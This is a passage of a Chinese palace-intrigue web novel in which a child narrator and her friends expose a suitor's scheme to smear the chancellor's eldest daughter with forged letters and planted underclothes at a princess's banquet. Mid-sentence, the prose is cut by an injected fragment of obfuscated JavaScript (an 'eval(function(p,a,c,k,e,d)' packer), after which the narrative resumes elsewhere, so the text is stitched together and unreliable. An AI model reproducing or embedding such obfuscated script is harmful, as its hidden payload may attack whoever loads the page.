又眼神扫了一圈三个花厅,没去后花园,而选择避嫌的公子小姐们,这些人最是会避祸的,咱们跟着他们学总不会错。这些人定力真足,对后花园的事,置若罔闻。我们可做不到他们那般两耳不闻窗外事,便还是到处逛逛吧。 平安警醒,点点头,安园的一大家子人,都很赞同我说的道理。正移步别处,忽然,苏生一脸疑惑道:“怎么,怎么是她的声音!?” 我停下脚步问:“是谁的声音,你们认识。” 苏生颔首,道:“听着像是丞相府萧大小姐的声音,噢,丞相夫人常年病着,府上是姨娘当家,难免疏漏,照顾不周,所以丞相夫人的病,是萧大小姐自学医术亲自看护的。” 苏生短短几句话里的信息还真是够足啊,众人听了都意味深长,沉默不语。 苏生只继续道:“师父进京以来,萧大小姐隔三差五便拿着医案来药庐虚心请教,这是昨日萧大小姐去药庐,师父特意叫她留下的的记录相府夫人病情的医案,师叔您正好看一下,师父说,丞相夫人的病若是您出手,更好一些。” “哦,是个孝顺姑娘,我看看。”我对孝顺孩子最是敬重,说着拿过医案一看。 这哪里简简单单是医案,简直就是看护笔记,比皇帝起居注还要详尽,将自己母亲的症状表现,和自己对母亲病情的对症用药,诊疗,效果,每次药方添减,诊治方案改动,都事无巨细的记录下来,生怕有缺遗,不能帮助苏和确定诊断和治疗。 厚厚的一本,只是五日的观察记录。 苏生说丞相夫人病了十年,大小姐自接手母亲的看护治疗以后,便无一日辍漏。 “哎呀呀,真是个大孝女啊,这么好的姑娘,竟给人缠上了,这里面有事儿啊。” 我看着娟秀的小字,都说字如其人,这么端正的字,这么细心,孝顺的姑娘,怎么会人品有失,在长公主府上,在人家姑娘成年的及笄礼上,在人家宾客云集的花厅后花园,做出与人私会的事情,还弄得人尽皆知呢? 退一万步讲,就算是这姑娘,学医学傻了,爱人爱痴了,也不至于色欲攻心,癫狂疯魔成这个样子啊。 “走,咱们去看看?君子不救,但百善孝为先,孝顺孩子,咱们得去看看她如何自救。”我道。 平安一笑,她知道我的言外之意,如果那姑娘不能自救,我们是要帮忙的。 花铁铁也很开心,毕竟都是女子,最能感同身受,这种事搁谁身上都恶心,她一脸义愤填膺地,走在最前面。 大家都脚步轻快,哈哈,我们这些人,就没有一个是袖手旁观,见死不救的脾性。 丞相府的嫡长大小姐,怎会是等闲之辈,她沉稳应对,极力将事情往下压,只是那位公子,还在痴缠狡辩,见众人来了,便舆论造势…… 长公主府上出了这种事儿,自然有主家的人主持公道,长公主的长子陈礼将两位事主请到后花园的棠梨轩内,众人围在轩外。 花铁铁从平安的斜挎包里,抓了把五香瓜子分给大家,趁机拉着平安挤到棠梨轩正门东侧的窗前,将里面的盆景一开,把堂邑夫柳延年郑清端来的茶水点心一一摆上,正了八经的领着大家看大戏。 窗台太高,很挡我视线,我直接进到轩中,挤到看事者的最前面,听得太入神,不由得跨过门槛,最后竟站在了两位事主的中间。 不等萧大小姐和那位自称是小姐心上人的卢公子,和上座主事的陈礼对我的行为举止有微词,花铁铁就发话了,朗声对着正堂上的我,道:“长安,你看热闹都要踩人脸上了。” 花铁铁说着,又给她周围的公子小姐们发瓜子,还叫他们嗑起来。公子小姐们手拿着瓜子,你看看我,我看看你,本来看这种热闹,就有些不道德,他们心里虚着呢,再要是嗑上瓜子儿,和那些爱起哄不嫌事儿的市井有什么区别? 花铁铁叫他们尝尝,说是妹妹亲手炒的五香瓜子,外面买不到。众人不好驳了她的热情和面子,就试着尝了尝,这一尝不要紧,还真不错,还上瘾了还!纷纷嗑起来…… 棠梨轩剑拔弩张的气氛,竟瞬间微妙了起来。 平安怕嗑瓜子弄花了口脂,柳延年和郑清就给她用手剥。其他公子看了也学着,给自家姊妹剥。堂邑夫剥的叫花铁铁仰头一口吃了,然后吧唧着嘴说不如自己磕得好吃,叫他别费心剥了,留着自己磕吧。 我没空理会花铁铁那边,只快速理清事情的大概。 萧大姑娘已经二十岁了,卢公子也二十有二,依照卢公子的说法,就是他与萧大小姐都已大龄,却未婚配,是因为多年前在一次春日宴上一见钟情,这些年萧大小姐因为母亲的病不大出门了,难得露面,但长久以来他们都有书信来往,以寄相思,说着还把信拿出来作证,叫人比对笔迹。 又言二人情意浓厚,萧大小姐最近几个月,更频频借着为丞相夫人治病采买药材的由头出府,于城西梅林与他私会。 便有人证实却在城西梅林游玩时,多次见过相府车驾。 卢公子便更来劲,说今日原本也是约了他,可萧大小姐自方才在两位郡主的典礼上,盯着太子殿下痴愣了一会儿,就变卦,与他决绝。 可怜他已情根深种,想要挽回这段感情,但萧大小姐狠心弃了他,更想从后院小门回丞相府躲避,他追上来,只想与她再次表露真心,岂料萧大姑娘翻脸不认人,反诬他轻薄。 “我知你,定是见了太子殿下,心生爱慕,移情别恋,决意弃了我。可是清芷,殿下岂是你能肖想,你莫要执迷不悟,赶快回心转意,我今日归家,定当请准父母备下聘礼,速邀官媒来丞相府上,与你父母提亲……” “住口。”萧大小姐端立堂上,沉稳开口,语气庄重道:“我兄长在世的时候,曾是太子殿下的伴读,方才在殿上,我并非是看殿下看愣了,只是想着大哥哥要是还活着,如今也这般岁数了。 那般行举,自然是对殿下的不敬,我事后自会去领罚。至于这几月我频频出府,只是去苏神医的药庐寻救治母亲之法,至于梅林,我是惯去的,因那片梅林曾是我大哥哥生前最喜欢去的地方,我去那里悼念大哥哥……” “清芷你莫要再狡辩,还要我如何,你才肯认呢?”卢公子仿佛被逼的要迫不得已了。 他红着眼圈,委屈至极,顿了一会儿,仰头长叹,从怀中掏出一件肚兜,满眼含泪,道:“此乃你赠我以解相思之物,你那里还留着我贴身的汗巾子,如此还不能说明什么吗?清芷,你还要我怎样你才肯回头?别痴心妄想殿下了,你若回头,我依旧肯真心对你,清芷。” 萧大姑娘简直被卢公子叫的起了一身鸡皮疙瘩,忍着恶心,漠然的看着卢公子手上的女子贴身之物,毫无反应,正欲回击。 可巧这时,丞相府的次女,就是之前恭维过平安,显摆自己如今是公主伴读的那位小姐,忽然一脸悲愤欲死的样子,哭泣道:“长姐何故闹出这等丑事,刚才那些书信,笔迹也就罢了,这肚兜,这肚兜……你叫妹妹往后如何见人啊……” 她几欲昏厥,她身边儿的几位郎君应该是丞相府的子侄表亲,此时,公子表公子们,扶住这位二小姐,一脸愤慨甚至嫌弃的神情,看着他们家的大小姐,纷纷出言指责。 不怕外人攻讦,就怕自己人背刺,萧二小姐的言语,无疑证实笔迹就是萧大小姐的,肚兜也是她姐姐的。 事态情转直下,萧大姑娘眼见有些慌了。这种事是容不得一丝差漏的,被人抓住话柄,百口莫辩,翻身无望。我怕她急着辩驳,腾不出时间思考,忙中出错,自乱阵脚,中了圈套,便赶紧插嘴。 “嘢呵,这就有意思了。”我抱臂满脸不解地笑着,说道:“人家一个劲儿往你们丞相府泼脏水,你们不一致对外说清嫌疑,反倒自己人先给自家大姐定下罪名了,真是……有意思!!!” “哎呦,肯定还有别的意思呗,这种事呢,在南唐多见,没想到大汉也有哈,还是在这顶级的贵族圈子里,啧啧啧,在人长公主府上郡主的及笄礼上,弄出这么恶心的事儿来,就为了给人送这么大一份儿成人礼吗?”花铁铁满脸‘我不信这事就是表面这么简单的’样子,嗑着瓜子,慢条斯理地朗声道。 “你们是何人,这里哪有你们说话的份儿。”丞相府的公子们斥问道。 话音一落,正花厅的后窗全都被小厮丫鬟打开了,证明里面的上位者,对这边正式关注起来了,也暗示有上位给我和花铁铁撑腰。我们后面有人,自然有说话的份儿! 花铁铁呵呵一乐,指了指自己,又指了指我,道:“丞相府的公子们都没读过圣贤书吗?圣人云:唯女子与小人难为养也,我们是何人?我是女子,这个是小人儿,我们不开化,没教养,惯喜欢瞎说大实话,公子们要和我们计较争辩,一搬见识吗?合起伙来,欺负我们无知妇、孺?” 丞相府的公子表公子们,被憋得进退维谷,语塞住了。 花铁铁畅快地哈哈笑起来,又嗑着瓜子,吧唧着樱桃小口,低头跟平安道:“哎哎哎,尽信书不如无书,原是这个道理啊,你看我一句话就让丞相府的公子们哑火了,读书有读书的好处,也有坏处,这应该就是画地为牢吧?被自己读的书,被自己学的礼教,圈住了,堵住了自己的嘴,困住了自己的行为,真是可悲,可笑。” 众人闻言眼前一亮,都觉得这个言行举止没规没矩的漂亮姑娘,还真是别有一番见地。可她虽说的有点道理,但大家都知道,丞相府那些人真正惧怕忌惮的是什么?不然怎么会轻易被只言片语牵制!? 只有平安惊奇地看着花铁铁,天真无邪地,认真地赞美道:“花姐姐,你真棒啊,我又要崇拜你了,你看你虽然读书不多,还总闹笑话,但有的时候还真是好钢用在刀刃上,你的真知灼见,简直是独辟蹊径,鞭辟入里,针砭时弊……” 平安觉得这些词花铁铁可能听不懂,就接着道:“就是一针见血,一剑封喉,快准稳狠的意思!” 花铁铁被夸的得意洋洋的,摇头晃脑地嚼着瓜子,呵呵乐着:“那是!” 忽然她神色一敛,有些茫然,仿佛觉得有什么不对,道:“妹妹,你夸我的时候,我觉得我好像有被讽刺到。” “没有啊,我就是真心实意的夸奖你啊。”平安回味一下刚才她的话,然后确定道:“我就是在夸你,你应该是错觉了。” 花铁铁也觉得平安不会讽刺自己,便点了点头,随后对着堂中的我,道:“长安,这种事关生死名节的事儿啊,姑娘遇上都是很胆战心惊的,有的话都说不利索,直接任人宰割,随意拿捏,最后大都跳进黄河也洗不清,冤屈死了,我最是看不惯这种拿人名节作筏子陷害人的事。 萧大小姐不愧是百官之首丞相家的嫡长女,胆识魄力真是了得,孤身奋战挺到现在也实在不容易了,不过挡不住有人使绊子,你看萧大小姐顾念家族名声,使劲往下压,可是呢,她家中兄弟姐妹却向着外人,非要她清誉尽毁,连丞相府的名声都不要了,你……” “你,到底哪里来的山野村妇,在这里胡说八道,污我丞相府名誉!”丞相府的公子们似乎被抓住了痛脚,纷纷失了风度,忍无可忍。 被打断,花铁铁很不痛快:“呦呦呦,这时候想起丞相府的名声了,你家大姐姐被人这样冤污也不见你们这般着急,哟!!!这果真,事儿里有事儿啊?”花铁铁故作惊讶,颇有深意的强调。 然后又一副吊儿郎当的样子,环顾四周,号召道:“来来来,大家明眼人都看看哈,都看看他们的站位哈,他们可是站在卢公子的那侧呢,别的我这乡野村妇不懂,可我知道吵架打仗的时候,人都是站在自己一伙儿这边儿的。” 众人一看,站位果然是很有问题,卢公子身后一群人,丞相府的公子表公子小姐以及丫鬟小厮……而萧大小姐身边却只有我一个——外人,还是个孩砸。 丞相府的公子表公子小姐们瞬间慌了,可是眼下他们移动也不是,不移动也不是,二小姐只能遮着脸抬高哭声掩饰尴尬。 “啧啧啧。”花铁铁给了他们一个不屑的眼神,然后对我道:“长安,我接着刚才的话和你说,嗯……给他们一打断,我都忘了,嗯……”花铁铁做思考状,瓜子都顾不上磕了,想了一会儿,忽然眼睛一亮。 “公堂断案,都是有辩师的,你给萧大小姐当个辩师吧,这样陈大人也好论断,不然只这样两个事主互相争辩,这事儿什么时候是个头啊,惊动了上位,也不好,更别耽误了大家伙吃饭,咱们来渉宴不就是为了吃饭吗,为了这顿饭,我早起梳妆打扮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你放才说,大小姐是殿上看见太子,忽然移情别恋,与你决绝,你情难自已,追将而来,极尽挽留这段情缘,可你却能未卜先知,早将你二人往来书信带在身上,此时作为呈堂证供?”我很是疑惑的样子,歪头看着卢公子问道。 卢公子脸色胀红,对我的反感厌恶已然遮掩不住,他一甩袖子,义正言辞说是他平时便爱随身带着以解相思,时时拿出来观看。 “还真是痴心啊,倒也是个不错的借口,可这几月,萧大姑娘频频出府与你私会,你是有多相思,明知今日来长公主府上两人必定相见的情况下,还带着这些书信慰藉相思?既这么相思,一刻也离不开这些书信,那这些书信岂不早被你日日夜夜时时刻刻翻烂了,又怎会保存的如此崭新?”我又不解的问道。 传阅书信,比对字迹的人,都恍然大悟的样子,纷纷举起手中信纸,证实我所言非虚。众人眼神清明起来,身上卷携着愤愤不平,正义凛然的气息。 语言和文字一样,都是具有巨大力量的东西,很容易影响人的思想见地,一旦被污染被侵略被误导,就很难不被人牵着鼻子走。 而人性本就喜欢看热闹,方才后花园里,忽然闹出这种俊男美女私情乍泄的秘辛丑闻,都是很“喜闻乐见”的。 所以卢公子从一开始就占了上风,他越显示自己对萧大小姐私密事,了如指掌,拿出的证据越多越离谱,大家都不会深挖细究,只会越发觉得他们两人,就是那种事儿。 如今才觉得,卢公子简直漏洞百出,舆论瞬间逆反。 卢公子慌了一下,再次平心静气,道:“你这小儿巧言令色,可事实就事实,这些书信,都是萧大小姐亲手所书,字迹为证,做不得假!” “字迹,如何就做不得假?”我笑着,从陈礼身前的案头上,拿了一封作为呈堂物证的信件,走到轩堂侧厅的书案上,提笔临摹写了几句信上的字。 这信上的内容,还真是……小儿不宜。 然后拿给众人展示:“萧丞相的字,天下一绝,是我大汉读书人的表率,推崇效法之众甚广,我曾偶尔得了一幅字,也苦苦临摹过,这信上的字与其说是萧大小姐的,不如说是萧丞相的,难道与你有私的是丞相大人吗?拿字迹污人清白,坐实罪名,是否草率!?” 众人见我小小一个孩子,笔下的字竟然与信上的字如出一辙,都甚为惊奇。笔迹一说,不攻自破。 卢公子负隅顽抗,咬死了,这就是萧大姑娘的字,说萧大姑娘的字是丞相手把手指点出来,父女字形相似,可这信上的笔迹婉约轻柔,丞相的笔迹刚劲硬朗,“诸位可不要被着小儿混淆视听。” 可真是贼喊捉贼,到底是谁混淆视听?! 我不禁笑了,“可我临写的重点,不是为了证明这是丞相与你暗通曲款的情书,而是想说,小姐的字也会儿被人临摹啊。” “可是,她一个大家闺秀,若非自愿赠与,谁会得到她的字临写呢?”卢公子反驳道。 萧大小姐正襟危坐,缓缓说道:“城西梅林中有一个梅树,是我大哥哥带着幼时的我新手栽种,大哥哥临死时候跟我说,若是想他了,若是有什么开心的事儿,不开心的事儿,都写下来埋在树下,他就会知道了。想来是被人挖了出来……” 卢公子笑了,叫萧大姑娘不要再狡辩,“那梅林林中上千个梅树……” “肚兜都能到你手上,何况是挖几封书信,回去临写?这自然是萧大小姐身边的人出了问题。”花铁铁忍不住插嘴道:“别说是有上千棵梅树,就算是上亿棵,叫大小姐身边的人系个红绳给你做记号,你这么有心,这么爱人家小姐,你还能寻不见啊,就算不做记号,你凭着痴心,去把梅林的土翻烂,你把整座梅林拔了,吃了,大家也信。” 众人被花铁铁揶揄卢公子的话逗笑了,平安伏在她的肩头,笑得都要哭了。 卢公子气极,正要开口,花铁铁立马来一句:好男不跟女斗。差点噎死卢公子。 我对这位脸色铁青的卢公子,道:“也许卢公子还没有能力买通丞相嫡长女身边的人,是丞相府内宅私斗!?一番谋划,便拿你来当枪使,做筏子?或者你们本就各取所需,一拍即合,达成共识。说好了,今日在长公主府上发作,败坏萧大小姐名声,气死病重的丞相府当家主母,好给某些人抬正身份,扫平障碍……” 我越说,有些人脸上的恐怖惊惧,越来越难以掩饰,如坐针毡,如芒在背,如鲠在喉…… 花铁铁啧着舌,对我的话,故作难以置信的样子,然后又哎呀呀的感叹说,自己要是被泼这么一盆脏水,早就炸了,还得是丞相府的公子小姐,真撑得住起,跟没事人一样。 丞相府的公子小姐一下子激动起来,像一窝炸了毛的猫,花铁铁立马说自己是山野村妇,无知少女,叫他们不要和自己计较。 丞相府的那些人顿时面如猪肝,屎盆子是不能捡的!扣身上了,也不能认。他们今日可算是见识到什么是哑巴亏了。 花铁铁这般言语,加上丞相府公子小姐不正常的反应,更加叫人觉得我的猜测推论八九不离十。语言的力量就是这强大,对手能左右群众的思想,我亦能。 听我提及母亲,萧大小姐忍着眼泪,狠狠地扫了一眼对面的兄弟姐妹们,满脸失望怨恨,重重地点点头,道:“是了,我来长公主府上,是规规矩矩大门出入,方才家里丫鬟忽然来报我,说母亲有些不好,叫我赶紧回去看看,我原是要走大门的。 可是那丫鬟,神色慌张连珠似的催促我说来不及了,说可以走长公主府上后花园的后门,便急急引我走来,我一时有些昏头昏脑,匆匆跟着,可思来想去觉得走后门回家,实在不合礼数,母亲向来教导我规矩森严,我便是再急的事儿,也万不可行差踏错。 就要转身回去走大门,却见这位跟在后头,见我不走后门了,竟就上来纠缠,我好言劝他放尊重,他却越发放肆逾矩,我喊人来,他竟当众胡说八道,反口说我污蔑他清誉,我家那丫鬟,竟不发一声……” 萧大小姐心寒透底,可说起丫鬟,这会儿萧大小姐身边哪有什么丫鬟的身影儿?堂堂丞相府大小姐身边竟然连个贴身丫鬟都没有。 这时陈礼身边的管事姑姑,上前来道:“今日为了方便宾客游玩,得了长公主应允,从丞相府借了几张台球桌子,后门是开了锁,不过已经锁上了,只有两个护卫拿了钥匙在门房守着。若是萧大小姐从后门走,他们也是给开门的。” 我刻意拉长音“噢”了一声,满脸恍然大悟,真相大白的样子,道:“如此就方便卢公子跟着萧大小姐,进入丞相府内宅了。想必萧大小姐房里,果真多了一块儿男人的贴身汗巾子等着被搜出来呢,好在大小姐守礼数,没开那后门。 从大门走,这卢公子是万万跟不到丞相府内宅里的。见一事不成,这才纠缠上来行了第二套方案,把萧大小姐困在长公主府里,当众毁去清誉。 好险啊,利用人家的孝心作筏子,要真是一时情急不拘小节,开门引狼回了自家,到时候哪有这么多清明正派的公子小姐们给萧大小姐声张正义。 丞相夫人本就有病在身,这一气死了,还有谁给大小姐撑腰?最好的结果就是府上主事儿的姨娘出面按下来,等主母丧事过了,再做主将大小姐委身给这位,卢公子!?” 众人倒吸一口凉气,纷纷议论:萧大小姐这么孝顺,听了母亲不好,定是急坏了,可饶是这样,也没有叫人开了后门直通家中内院,可见礼数周全,又怎么会与外男纠缠不清呢? “好恶毒的用心。”众人一阵胆寒。感叹:世人都讨厌繁文缛节,都说不拘小节,可真到了裉节上,坚守礼节,保持原则,是会躲劫救命的。 大家都称赞丞相夫人会教养,萧大小姐好操守。 “此事受益者,除了这位卢公子还有谁?”花铁铁适时道:“当家主母因为女儿私通外男气死了,主事儿的姨娘力挽狂澜平息事端,保住丞相府阖府全族颜面,立了大功,顺理成章抬成平妻,成了正经的当家主母,庶出的子女都成了嫡出的,而真正的嫡出长女失德失贞遭父亲嫌恶厌弃,被继母随意嫁出去眼不见为净……” “你住口,你胡说什么?”丞相府的公子小姐们急了。 “她就是胡说啊,你们急什么?”我一脸莫名其妙的反问道:“她说的这些都是南唐戏本子上胡乱写的,她就是个走江湖串巷的,看多了戏本子,喜欢联想,喜欢胡说,你们急什么? 他们南唐在意这些嫡啊庶啊尊啊卑啊的,咱们大汉自来长幼有序兄友弟恭,哪有这些计较,我大汉为官之家,向来和睦,谁会为了争夺嫡庶,这么费尽心机,联合外人,赌上阖府清誉,也要杀人诛心?” 众人闻言点点头,对丞相府那些人的反应,又是满脸大为不解,若有所思的样子,仿佛在说:对啊,你们急什么?咱们又不是南唐?哪能干出这种丧心病狂的事?难道你家不和睦?不可能啊,你们是丞相府,丞相是百官之首,是我们大汉的表率…… 啊哈哈哈,这些看热闹的人,我说的这么直白,谁还理不清是怎么回事儿呢? 只是众人都揣着明白装糊涂罢了,努力表演你明知道我知道真相,但我就是不知道的样子。我们大家什么都不懂,就是一群纯情无知,涉世未深,不明所以,不在状况的少男少女。 啊哈哈哈,还真是合格的观众啊,尤其是堂上的陈礼。 嗯嗯,毕竟是丞相府的人搞出来的这么丢人的事儿,这事最后按下去,还是明出来,都自有人来处理。 众人看看热闹就行了,回头胡乱传谣过过嘴瘾,暗爽一下算了,还得感谢人家提供谈资。可不能现在就在脸上表露出来自己心知肚明,用表情给人家定了罪,这种替自己和家族得罪人的事,这群猴精可不会干。 倒弄得丞相府的公子小姐们一脸此地无银的吃瘪相,然后讪讪然一脸‘啊,都是误会’的样子。 于是众人都舒缓下来…… 丞相府家的人是要摘干净的,但是这个卢公子,可万万逃不了。 我站在卢公子对面,瞪了一眼花铁铁,叫人以为我在警示花铁铁别再多嘴胡说了。 “啧啧啧,这位兴义伯家的卢公子,是学宫学子吗,是的话,堂邑夫你退学吧,柳延年郑清你们也别上了,和这种人做同窗,多恶心啊?!”花铁铁并没有接触到我的视线,只余光扫到我的瞬间,转身看着堂邑夫他们问道。将话题又自然地引到卢公子身上。 我欣慰花铁铁的进步,她和我打配合越来越称心如意了。 堂邑夫闻言愣了一下,正认真想着学宫有没有卢公子这一号人物。柳延年和郑清也都急切地看着堂邑夫。 站在正厅后窗的田世子,就斩钉截铁地朗声对着棠梨轩回答:“不是。” 花铁铁大声称赞,学宫果然是大汉最高学府,果然不是什么人都能上的,然后奚落讽刺卢公子,道:“这位卢公子别是得了什么失心疯吧,学宫都进不去的人,人家丞相府的嫡长小姐凭什么看上你啊!? 回家吧啊,回家,回家睡大觉,梦里什么都有。可别再出来摇哪乱跑,胡瞎乱打听,把人姑娘闺字到处传说,搜罗人姑娘的手书,临摹写了情书诬陷人与你有私,还买通人身边的人,偷人家肚兜,把自己的贴身物品,往人闺房里塞,多脏多下作多恶心人啊。” 花铁铁话音刚落,萧大小姐脸色煞白,一阵恶寒,虚汗不止,显然被恶心到了。 我眼睛一转,连忙道:“萧大小姐今日虽盛装打扮,依旧一身的药味儿,可见平时侍奉母亲,是药不离身的,这肚兜上都是些脂粉香气,一丝一毫的药味儿都不曾沾染,根本是拿来诬陷的。” 萧大姑娘不着痕迹的松了口气,看向我的眼里全是感激。 这种东西,就算是自己的,也一定要咬死了就是栽赃。若有人真的丧心病狂,比对针脚,再另说。